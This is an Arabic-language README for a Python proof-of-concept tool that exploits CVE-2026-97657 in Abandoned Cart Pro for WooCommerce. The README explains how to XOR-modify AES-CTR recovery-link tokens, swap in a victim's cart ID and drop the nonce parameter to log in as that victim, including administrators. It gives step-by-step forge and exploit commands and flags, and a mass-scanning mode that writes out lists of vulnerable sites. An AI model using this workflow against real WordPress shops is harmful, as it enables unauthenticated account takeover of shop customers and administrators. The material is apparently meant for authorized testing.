
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-97657: تزوير رموز استرداد AES-CTR عبر قابلية التعديل XOR لتجاوز المصادقة والاستيلاء على حسابات WordPress في Abandoned Cart Pro ≤10.8.0.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-97657 — Abandoned Cart Pro for WooCommerce (من Tyche Softwares) ≤ 10.8.0. الجهة المنسّقة (CNA): Wordfence.
| المنتج | Abandoned Cart Pro for WooCommerce |
| المتأثر | ≤ 10.8.0 (قم بالترقية إلى إصدار مُصلَح أعلى من 10.8.0) |
| CWE | CWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| CVSS 3.1 | 9.8 حرج |
| علامة التحقق | POCBIT-97657-OK (فحص الجلسة/المسؤول) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
تستخدم روابط الاستعادة رموز AES-CTR خالية من MAC (تخطيط متوافق مع Wcal_Aes_Ctr: nonce خاص بـ CTR بحجم 8 بايت + النص المشفّر، بترميز base64). يقوم الإضافة بتحميل encrypt_key الخاص بكل بريد إلكتروني من معامل الاستعلام user_email الذي يتحكم به المهاجم. في الدالة wcap_email_track_links() (نسخة Pro؛ النظير في Lite هو wcal_email_track_links())، يتم تنفيذ فحص wcap_nonce / HMAC فقط عندما يكون wcap_nonce غير فارغ، لذا فإن حذفه يتجاوز التحقق من السلامة. بعد فك التشفير، يُستخدم abandoned_id (معرّف صف السلة) دون إثبات أنه ينتمي إلى ذلك البريد الإلكتروني، ثم يُنفَّذ wp_set_auth_cookie() عند تفعيل تسجيل الدخول التلقائي (وهو الوضع الافتراضي).
يمكن لمهاجم غير مُصادَق يمتلك رابط استعادة شرعي واحد من رسالة التذكير الخاصة به أن يقوم بـ تعديل XOR على النص المشفّر بـ CTR لتغيير معرّف السلة المضمّن إلى معرّف السلة المتروكة الخاص بالضحية (بنفس طول المعرّف المصدر)، ثم يفتح الرابط المزوّر دون wcap_nonce، ويسجّل الدخول بصفة الضحية (بما في ذلك المسؤولون الذين تركوا سلة).
الشكل النموذجي للرابط (Pro):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(توجد متغيرات wcap_action / wcal_action؛ قد تتضمن عناوين URL الخاصة بروابط التتبع معاملات إضافية مثل c=.)
cd CVE-2026-97657
pip install -r requirements.txt
requests، urllib3| الوضع | الغرض | الوسائط المطلوبة |
|---|---|---|
check (الافتراضي) | قراءة ملف الإضافة readme.txt، وتمييز الإصدار ≤ 10.8.0 | -t URL أو --list FILE |
forge | بناء رابط استرداد مُزوَّر محليًا (بدون HTTP) | --recovery-link، --source-cart-id، --target-cart-id |
exploit | تزوير الرمز + طلب HTTP GET + التحقق من جلسة WordPress | نفس forge |
سير العمل الموصى به (مختبر مُصرَّح به):
check جماعي أو فردي — تأكيد slug الإضافة + الإصدار ≤ 10.8.0.forge — التحقق من حشو معرّف السلة وشكل الرابط قبل إرسال أي حركة مرور.exploit — طلب GET واحد إلى رابط الاسترداد المُزوَّر؛ تأكيد ملفات تعريف الارتباط + /wp-admin/.لا يستخدم exploit/forge الوسيطتين -t / --list. يُؤخذ المضيف الهدف من --recovery-link (المخطط + المضيف).
| المتطلب | السبب |
|---|---|
| رابط استرداد شرعي واحد | يوفّر nonce صالحًا لـ CTR + ciphertext و(عادةً) صف user_email / encrypt_key الخاص بك في ac_sent_history |
| الإضافة ≤ 10.8.0 مع تفعيل auto-login (الافتراضي) | البِنى المُرقَّعة أو auto-login المعطّل تحجب wp_set_auth_cookie() |
| مستخدم WordPress مسجَّل كضحية مع صف سلة مهجورة | مسار الاستيلاء يسجّل الدخول باستخدام user_id من ac_abandoned_cart_history؛ سلال الزوار الصرف تستخدم فرعًا مختلفًا |
تفضيل رابط checkout_link بشدة | النص الصريح هو {abandoned_cart_id}&url=.... رموز track_links تُشفّر email_sent_id، وليس معرّف السلة — نوع المعرّف الخاطئ يُفسد عملية التزوير |
| معرّفات متساوية الطول | قابلية XOR في CTR للتحوير تقلب البايتات بنسبة 1:1 فقط؛ احشُ بالأصفار (انظر أدناه) |
--recovery-linkcheckout_link الكامل من البريد (أو من webhooks / تصدير الإضافة إن كان مفعّلًا).أمثلة على أشكال Pro (من وثائق المورّد / webhooks):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
ألصق عنوان URL تمامًا كما هو في البريد الإلكتروني (بما في ذلك validate؛ ترتيب معاملات الاستعلام لا يهم).
| المصدر | الحقل |
|---|---|
| WooCommerce Abandoned Cart → Cart details (المشرف) | معرّف السلة المتروكة (المفتاح الأساسي في قاعدة البيانات) |
حمولة Webhook (سياق wcap_cart، checkout_link) | "id": "383" على مورد السلة |
| MySQL (المختبر) | wp_ac_abandoned_cart_history.id (قد تختلف بادئة جدول Pro) |
يجب أن يكون --source-cart-id هو المعرّف الموجود داخل النص الصريح لرمزك المميز (صف السلة المتروكة الخاص بك). أما --target-cart-id فهو صف الضحية في الجدول نفسه.
يرفض PoC الأطوال غير المتطابقة. احشُ كلا المعرّفين إلى العرض نفسه:
| المصدر (الخاص بك) | الهدف (الضحية) | مقبول؟ |
|---|---|---|
383 | 001 | نعم (3 أحرف) |
0383 | 0001 | نعم (4 أحرف) |
383 | 1 | لا — شغّل forge باستخدام 0383 / 0001 بدلاً من ذلك |
| العلامة | الأوضاع | المعنى |
|---|---|---|
-t، --target | check | جذر موقع WordPress، مثل https://shop.example.com |
--list FILE | check | عنوان URL واحد للموقع في كل سطر؛ يتم تجاهل تعليقات # |
--mode | all | check (افتراضي)، forge، exploit |
--recovery-link URL | forge، exploit | عنوان URL الكامل للاسترداد من بريد التذكير الإلكتروني |
--source-cart-id | forge، exploit | معرّف صف السلة المتروكة الخاص بك (في النص الصريح للرمز المميز) |
--target-cart-id | forge، exploit | معرّف صف السلة المتروكة للضحية (طول السلسلة نفسه) |
-j N | check (list) | عمال متوازون (افتراضي 8) |
--timeout SEC | check، exploit | مهلة HTTP (افتراضي 15) |
--insecure | check، exploit | تعطيل التحقق من شهادة TLS |
--jsonl FILE | check، exploit | إلحاق كائن JSON واحد لكل تشغيل |
--vuln-list FILE | check | كتابة عناوين URL ذات الإصدار ≤ 10.8.0 |
-q، --quiet | all | إخراج أقل على الطرفية |
--no-color | all | طرفية عادية |
رموز الخروج
| الرمز | متى |
|---|---|
| 0 | Exploit: success: true؛ forge: دائمًا؛ check: دائمًا (-t مفرد) |
| 1 | Exploit: فشل التحقق من تسجيل الدخول/المشرف |
| 2 | تشغيل قائمة check دون دلالات -t (إعلامي) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
الفحوصات:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-propython poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0001"
يتضمن مخرجات JSON حقل exploit_url (لاحقة HMAC منزوعة من validate، ومعاملات nonce محذوفة).
كما يزيل PoC المعاملين wcap_nonce / wcal_nonce من سلسلة الاستعلام إذا كانا موجودين في الرابط الأصلي.
--mode exploit)ينفّذ تزوير رمز محلي ثم طلب HTTP GET واحد غير مُصادَق (مع متابعة إعادة التوجيه). لا تُرسَل أي بيانات اعتماد WordPress.